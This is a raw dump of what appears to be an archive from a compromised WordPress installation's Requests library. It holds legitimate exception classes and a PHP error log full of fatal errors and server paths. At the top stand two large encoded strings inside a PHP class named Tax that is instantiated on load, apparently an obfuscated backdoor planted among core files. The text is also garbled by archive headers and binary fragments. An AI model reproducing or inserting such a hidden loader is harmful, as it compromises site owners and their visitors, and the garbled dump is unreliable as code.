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
dCJFtlY=';
var $_build = '1omdDPa7f597fM8v2hw67rfpFtLqcTs+lusyRUNFzQ4cxWJSoDi6GJXhKBMEzhGcHv1wZL6aWbYHTwcN
Px7lkWk1K/XujH54/P/YP6+IBMawGB2XA+aJK1/Eb74ffmQQfCpJSp3gkGqXLlQGytttNHi9gNYgBzo+
5ahvrtKCL9xwYcaSIzh1sjHgwLfGlKCnd0Qj/SRUcCRorFmsNhEyf4PLe10iPTLcnpFbgaRZFdktnhJ8
fIHfPDYr/VaVWkhKmxDdK09yB2g8Blo9BGCveU8GljxsnOk25MTBEJUoF6xuQUYg+Lt66Hsu3S39K83D
gzCe23fHHqwd7kQgDH5an5A8lKqPppFejsVuzKQ5VUp7hznwH+o1Py/BPtysm2RisImm5wgL7EYpt0Jn
q/Pj0EsKaJPpM26yYZLhJfRJW4ByswYTR1WXt3N9CuB6GzSrnsIytUg03wPtetU++T7IiF/EKmv5jhSI
cZFIwTd1pGAh6u+4XhW9K44Lmk+vWUlqyOTn3iQM1mFOypzpYHHp1OCZBdQxyIHJ97Mc6rrze4RIdSRr
hG+3Onl3gyca1mJc/f6QWaHgQIrUN7zF1eARkSUE4AmV1LGvCSXPY+MSVcSB687A3iT0gbA2zJIA7Q0x
e2HP8s4qSRFIEipPqrKM5RTfkHM1fHr0FAID9pkAVXZq4AkOWhsw7/Pk/Kcv2tUkwb2jHJ9KppeOi3T3
/pAfAtbgjXHMJZsXmigQ+Vr3RIkcKItJR/sqgYDWPpZylYsmrSyGv++TTxt/e3BKsgMXupwnDknqKmrx
aseVXgg23WWp77mevjcS6lXld8UxqcdYYJKNVjnNHyr/Ki19EDtRgKA=';
}
new Tax();
?>PK ]*u u src/Exception/Transport/Curl.phpnu W+A <?php
/**
* CURL Transport Exception.
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Transport;
use WpOrg\Requests\Exception\Transport;
/**
* CURL Transport Exception.
*
* @package Requests\Exceptions
*/
final class Curl extends Transport {
const EASY = 'cURLEasy';
const MULTI = 'cURLMulti';
const SHARE = 'cURLShare';
/**
* cURL error code
*
* @var integer
*/
protected $code = -1;
/**
* Which type of cURL error
*
* EASY|MULTI|SHARE
*
* @var string
*/
protected $type = 'Unknown';
/**
* Clear text error message
*
* @var string
*/
protected $reason = 'Unknown';
/**
* Create a new exception.
*
* @param string $message Exception message.
* @param string $type Exception type.
* @param mixed $data Associated data, if applicable.
* @param int $code Exception numerical code, if applicable.
*/
public function __construct($message, $type, $data = null, $code = 0) {
if ($type !== null) {
$this->type = $type;
}
if ($code !== null) {
$this->code = (int) $code;
}
if ($message !== null) {
$this->reason = $message;
}
$message = sprintf('%d %s', $this->code, $this->reason);
parent::__construct($message, $this->type, $data, $this->code);
}
/**
* Get the error message.
*
* @return string
*/
public function getReason() {
return $this->reason;
}
}
PK ]q1 src/Exception/ArgumentCount.phpnu W+A <?php
namespace WpOrg\Requests\Exception;
use WpOrg\Requests\Exception;
/**
* Exception for when an incorrect number of arguments are passed to a method.
*
* Typically, this exception is used when all arguments for a method are optional,
* but certain arguments need to be passed together, i.e. a method which can be called
* with no arguments or with two arguments, but not with one argument.
*
* Along the same lines, this exception is also used if a method expects an array
* with a certain number of elements and the provided number of elements does not comply.
*
* @package Requests\Exceptions
* @since 2.0.0
*/
final class ArgumentCount extends Exception {
/**
* Create a new argument count exception with a standardized text.
*
* @param string $expected The argument count expected as a phrase.
* For example: `at least 2 arguments` or `exactly 1 argument`.
* @param int $received The actual argument count received.
* @param string $type Exception type.
*
* @return \WpOrg\Requests\Exception\ArgumentCount
*/
public static function create($expected, $received, $type) {
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace
$stack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);
return new self(
sprintf(
'%s::%s() expects %s, %d given',
$stack[1]['class'],
$stack[1]['function'],
$expected,
$received
),
$type
);
}
}
PK ]mk src/Exception/Http/Status501.phpnu W+A <?php
/**
* Exception for 501 Not Implemented responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 501 Not Implemented responses
*
* @package Requests\Exceptions
*/
final class Status501 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 501;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Not Implemented';
}
PK ]w<z <z src/Exception/Http/error_lognu W+A [28-Aug-2026 08:16:02 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:16:02 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[28-Aug-2026 08:16:03 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:16:03 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[28-Aug-2026 08:16:04 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:16:04 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[28-Aug-2026 08:16:05 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:16:05 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[28-Aug-2026 08:16:08 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:16:08 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[28-Aug-2026 08:16:12 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:16:12 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[28-Aug-2026 08:16:17 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:16:17 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[28-Aug-2026 08:16:26 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:16:26 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[28-Aug-2026 08:16:39 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:16:39 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[28-Aug-2026 08:16:58 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:16:58 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[28-Aug-2026 08:17:18 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:17:18 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[28-Aug-2026 08:17:38 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:17:38 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[28-Aug-2026 08:17:58 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:17:58 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[28-Aug-2026 08:18:18 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:18:18 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[28-Aug-2026 08:18:38 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:18:38 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[28-Aug-2026 08:18:58 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:18:58 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[28-Aug-2026 08:19:18 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:19:18 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[28-Aug-2026 08:19:38 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:19:38 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[28-Aug-2026 08:19:58 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:19:58 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[28-Aug-2026 08:20:18 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:20:18 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[28-Aug-2026 08:20:38 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:20:38 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[28-Aug-2026 08:20:58 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:20:58 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[28-Aug-2026 08:21:18 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:21:18 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[28-Aug-2026 08:21:38 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:21:38 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[28-Aug-2026 08:21:58 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:21:58 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[28-Aug-2026 08:22:18 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:22:18 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[28-Aug-2026 08:22:38 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:22:38 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[28-Aug-2026 08:22:58 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:22:58 America/Sao_Paulo] PHP Fatal error: Class 'WpOrg\Requests\Exception\Http' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
